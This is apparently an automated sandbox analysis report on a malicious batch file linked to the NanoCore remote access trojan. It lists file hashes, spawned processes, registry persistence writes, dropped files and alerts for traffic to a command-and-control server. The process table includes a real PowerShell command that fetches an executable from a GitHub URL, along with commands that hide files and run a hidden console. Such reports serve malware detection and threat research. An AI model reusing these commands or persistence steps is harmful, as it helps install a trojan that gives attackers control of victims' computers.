| File name: | a.bat |
| Full analysis: | https://app.any.run/tasks/0e8f7b31-4c19-4a43-bb38-958e34a5b770 |
| Verdict: | Malicious activity |
| Threats: | NanoCore is a Remote Access Trojan or RAT. This malware is highly customizable with plugins which allow attackers to tailor its functionality to their needs. Nanocore is created with the .NET framework and it’s available for purchase for just $25 from its “official” website. |
| Analysis date: | May 15, 2025, 13:33:11 |
| OS: | Windows 10 Professional (build: 19044, 64 bit) |
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| Indicators: | |
| MIME: | text/plain |
| File info: | ASCII text, with CRLF line terminators |
| MD5: | 527036CAE6EBF86E4ADFC2B46E458052 |
| SHA1: | EA3BF7A0D97916001C131D3BECCA2CD7DAB6BEA2 |
| SHA256: | 6F55DD423E865B5DF8A6630124C0CEC575D8F8141458CCA0EFF7DB3F6C1FCC2B |
| SSDEEP: | 48:I7s7BK7E4ep3zI8FicIJpCvedwi2gPH2YQzKApr/X2EP:cVedI8sv+KApjbP |
PID | CMD | Path | Indicators | Parent process | |||||||||||
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| 680 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 824 | "schtasks.exe" /delete /f /tn "LAN Host" | C:\Windows\SysWOW64\schtasks.exe | — | RuntimeBroker.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Task Scheduler Configuration Tool Exit code: 1 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 904 | Powershell -Command "Invoke-Webrequest 'https://github.com/wha-gifart/gifart/releases/download/SDA/RuntimeBroker.exe' -OutFile RuntimeBroker.exe" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | cmd.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 1512 | attrib +h "Anon" /s /d | C:\Windows\System32\attrib.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Attribute Utility Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 2096 | powershell -window hidden -command "" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 2100 | C:\WINDOWS\explorer.exe /factory,{682159d9-c321-47ca-b3f1-30e36b2ec8b9} -Embedding | C:\Windows\explorer.exe | — | svchost.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Explorer Exit code: 1 Version: 10.0.19041.3758 (WinBuild.160101.0800) Modules
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| 2140 | "C:\Windows\System32\explorer.exe" | C:\Windows\SysWOW64\explorer.exe | — | RuntimeBroker.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows Explorer Exit code: 1 Version: 10.0.19041.3758 (WinBuild.160101.0800) Modules
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| 2392 | "C:\WINDOWS\System32\SLUI.exe" RuleId=3482d82e-ca2c-4e1f-8864-da0267b484b2;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=4de7cb65-cdf1-4de9-8ae8-e3cce27b9f2c;NotificationInterval=1440;Trigger=TimerEvent | C:\Windows\System32\slui.exe | SppExtComObj.Exe | ||||||||||||
User: NETWORK SERVICE Company: Microsoft Corporation Integrity Level: SYSTEM Description: Windows Activation Client Exit code: 1 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 2460 | "schtasks.exe" /delete /f /tn "LAN Host Task" | C:\Windows\SysWOW64\schtasks.exe | — | RuntimeBroker.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Task Scheduler Configuration Tool Exit code: 1 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 2468 | ping -n 1 -w 3000 1.1.1.1 | C:\Windows\SysWOW64\PING.EXE | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: TCP/IP Ping Command Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| (PID) Process: | (5364) cmd.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.vbs\OpenWithProgids |
| Operation: | write | Name: | VBSFile |
Value: | |||
| (PID) Process: | (5024) RuntimeBroker.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run |
| Operation: | write | Name: | LAN Host |
Value: C:\Program Files (x86)\LAN Host\lanhost.exe | |||
| (PID) Process: | (5544) explorer.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\Shell\BagMRU |
| Operation: | write | Name: | NodeSlots |
Value: 02020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202 | |||
| (PID) Process: | (5544) explorer.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\Shell\BagMRU |
| Operation: | write | Name: | MRUListEx |
Value: 03000000040000000E00000000000000100000000F0000000C0000000D0000000B000000050000000A000000090000000800000001000000070000000600000002000000FFFFFFFF | |||
| (PID) Process: | (5544) explorer.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Toolbar |
| Operation: | write | Name: | Locked |
Value: 1 | |||
| (PID) Process: | (5544) explorer.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Ribbon |
| Operation: | write | Name: | MinimizedStateTabletModeOff |
Value: 0 | |||
| (PID) Process: | (5544) explorer.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Ribbon |
| Operation: | write | Name: | QatItems |
Value: 3C7369713A637573746F6D554920786D6C6E733A7369713D22687474703A2F2F736368656D61732E6D6963726F736F66742E636F6D2F77696E646F77732F323030392F726962626F6E2F716174223E3C7369713A726962626F6E206D696E696D697A65643D2266616C7365223E3C7369713A71617420706F736974696F6E3D2230223E3C7369713A736861726564436F6E74726F6C733E3C7369713A636F6E74726F6C206964513D227369713A3136313238222076697369626C653D2266616C73652220617267756D656E743D223022202F3E3C7369713A636F6E74726F6C206964513D227369713A3136313239222076697369626C653D2266616C73652220617267756D656E743D223022202F3E3C7369713A636F6E74726F6C206964513D227369713A3132333532222076697369626C653D2266616C73652220617267756D656E743D223022202F3E3C7369713A636F6E74726F6C206964513D227369713A3132333834222076697369626C653D22747275652220617267756D656E743D223022202F3E3C7369713A636F6E74726F6C206964513D227369713A3132333336222076697369626C653D22747275652220617267756D656E743D223022202F3E3C7369713A636F6E74726F6C206964513D227369713A3132333537222076697369626C653D2266616C73652220617267756D656E743D223022202F3E3C2F7369713A736861726564436F6E74726F6C733E3C2F7369713A7161743E3C2F7369713A726962626F6E3E3C2F7369713A637573746F6D55493E | |||
| (PID) Process: | (5544) explorer.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Toolbar\ShellBrowser |
| Operation: | write | Name: | ITBar7Layout |
Value: 13000000000000000000000020000000100000000000000001000000010700005E01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 | |||
| (PID) Process: | (5544) explorer.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\OneDrive\Accounts |
| Operation: | write | Name: | LastUpdate |
Value: A9ED256800000000 | |||
| (PID) Process: | (5544) explorer.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer |
| Operation: | write | Name: | GlobalAssocChangedCounter |
Value: 114 | |||
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 4208 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_nefdemb5.uqn.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 904 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_r5a30mjx.mqx.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 904 | powershell.exe | C:\Users\admin\AppData\Local\Anon\RuntimeBroker.exe | executable | |
MD5:06A2595A14085702C9D140456897271B | SHA256:753613FEC1A2957F41F96D2208A7A77ACE0EC77E2D69A0803633C556E456F974 | |||
| 6972 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_bhnz4ya0.0nk.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 2096 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_qz4qwiwj.zte.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 904 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_hnzvjolf.gie.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 4208 | powershell.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive | binary | |
MD5:B9800B557D807FB24B16DD703ACB3E08 | SHA256:DC7BB21C8B5CF41A0D80F818D64BB6D34EE0CFB63379A81D69DD4A0A2DEF58FB | |||
| 5024 | RuntimeBroker.exe | C:\Users\admin\AppData\Roaming\BB926E54-E3CA-40FD-AE90-2764341E7792\run.dat | binary | |
MD5:611931637853D73A9825DA2BDFE51E04 | SHA256:D19CD835302DECF903959F1FBB85F63989C4F6103DEC234FFFDFC4DE4CAFB597 | |||
| 5024 | RuntimeBroker.exe | C:\Users\admin\AppData\Roaming\BB926E54-E3CA-40FD-AE90-2764341E7792\storage.dat | binary | |
MD5:14C715D42F7500DE7F7F3B18BC954300 | SHA256:0DD10593F1E668865C6A918F4BA8B7F960B57A66E7A7B8E57FB11DD843E6906B | |||
| 5024 | RuntimeBroker.exe | C:\Users\admin\AppData\Roaming\BB926E54-E3CA-40FD-AE90-2764341E7792\settings.bak | binary | |
MD5:AE0F5E6CE7122AF264EC533C6B15A27B | SHA256:73B0B92179C61C26589B47E9732CE418B07EDEE3860EE5A2A5FB06F3B8AA9B26 | |||
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
— | — | GET | 200 | 23.48.23.156:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
5496 | MoUsoCoreWorker.exe | GET | 200 | 23.48.23.156:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
— | — | GET | 200 | 23.52.120.96:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
5496 | MoUsoCoreWorker.exe | GET | 200 | 23.52.120.96:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
6544 | svchost.exe | GET | 200 | 2.17.190.73:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D | unknown | — | — | whitelisted |
1512 | SIHClient.exe | GET | 200 | 95.101.149.131:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl | unknown | — | — | whitelisted |
1512 | SIHClient.exe | GET | 200 | 95.101.149.131:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl | unknown | — | — | whitelisted |
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
— | — | 40.127.240.158:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
— | — | 23.48.23.156:80 | crl.microsoft.com | Akamai International B.V. | DE | whitelisted |
5496 | MoUsoCoreWorker.exe | 23.48.23.156:80 | crl.microsoft.com | Akamai International B.V. | DE | whitelisted |
2104 | svchost.exe | 4.231.128.59:443 | — | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
— | — | 23.52.120.96:80 | www.microsoft.com | AKAMAI-AS | DE | whitelisted |
5496 | MoUsoCoreWorker.exe | 23.52.120.96:80 | www.microsoft.com | AKAMAI-AS | DE | whitelisted |
3216 | svchost.exe | 172.211.123.250:443 | client.wns.windows.com | MICROSOFT-CORP-MSN-AS-BLOCK | FR | whitelisted |
6544 | svchost.exe | 20.190.160.3:443 | login.live.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
6544 | svchost.exe | 2.17.190.73:80 | ocsp.digicert.com | AKAMAI-AS | DE | whitelisted |
Domain | IP | Reputation |
|---|---|---|
settings-win.data.microsoft.com |
| whitelisted |
google.com |
| whitelisted |
crl.microsoft.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
client.wns.windows.com |
| whitelisted |
login.live.com |
| whitelisted |
ocsp.digicert.com |
| whitelisted |
github.com |
| whitelisted |
objects.githubusercontent.com |
| whitelisted |
cybrc082-39826.portmap.io |
| malicious |
PID | Process | Class | Message |
|---|---|---|---|
5024 | RuntimeBroker.exe | Potential Corporate Privacy Violation | ET INFO DNS Query to a Reverse Proxy Service Observed |
5024 | RuntimeBroker.exe | Misc activity | ET INFO DNS Query for Port Mapping/Tunneling Service Domain (.portmap .io) |
5024 | RuntimeBroker.exe | Malware Command and Control Activity Detected | ET MALWARE NanoCore RAT CnC 7 |
5024 | RuntimeBroker.exe | Malware Command and Control Activity Detected | ET MALWARE NanoCore RAT Keep-Alive Beacon (Inbound) |
5024 | RuntimeBroker.exe | Malware Command and Control Activity Detected | ET MALWARE NanoCore RAT CnC 7 |
5024 | RuntimeBroker.exe | Malware Command and Control Activity Detected | ET MALWARE NanoCore RAT Keep-Alive Beacon (Inbound) |
5024 | RuntimeBroker.exe | Malware Command and Control Activity Detected | ET MALWARE NanoCore RAT CnC 7 |
5024 | RuntimeBroker.exe | Malware Command and Control Activity Detected | ET MALWARE NanoCore RAT Keep-Alive Beacon (Inbound) |
5024 | RuntimeBroker.exe | Malware Command and Control Activity Detected | ET MALWARE NanoCore RAT CnC 7 |
5024 | RuntimeBroker.exe | Malware Command and Control Activity Detected | ET MALWARE NanoCore RAT Keep-Alive Beacon (Inbound) |